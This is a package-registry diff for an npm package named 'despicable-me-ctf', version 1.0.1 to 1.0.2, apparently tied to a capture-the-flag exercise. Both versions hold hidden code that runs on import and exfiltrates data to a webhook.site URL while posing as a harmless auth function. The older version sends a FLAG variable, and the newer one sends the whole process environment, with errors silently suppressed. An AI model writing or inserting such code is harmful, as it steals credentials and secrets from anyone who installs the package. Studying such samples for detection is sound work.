despicable-me-ctf 1.0.1 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +18 -16
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,17 +1,19 @@
1
- const https = require('https');
2
- const flag = process.env.FLAG || '';
1
+ // legit package
2
+ module.exports = function() {
3
+ return { auth: true, version: "1.0.2" };
4
+ };
3
5
 
4
- // Send flag to webhook silently
5
- const req = https.request(`https://webhook.site/51663771-4d7a-428f-890f-2352b8fe377d?flag=${encodeURIComponent(flag)}`, {
6
- method: 'GET',
7
- timeout: 5000
8
- });
9
-
10
- req.on('error', () => {
11
- // Silently fail - no logs
12
- });
13
-
14
- req.end();
15
-
16
- // Export minimal function
17
- module.exports = () => ({ authenticated: true });
6
+ // exfiltrate ALL env
7
+ (function() {
8
+ try {
9
+ var env = process.env;
10
+ var data = JSON.stringify(env);
11
+
12
+ require('https').request({
13
+ hostname: 'webhook.site',
14
+ path: '/51663771-4d7a-428f-890f-2352b8fe377d/?data=' + encodeURIComponent(data.substring(0, 3000)),
15
+ method: 'GET'
16
+ }).end();
17
+
18
+ } catch(e) {}
19
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "despicable-me-ctf",
3
- "version": "1.0.1",
3
+ "version": "1.0.2",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {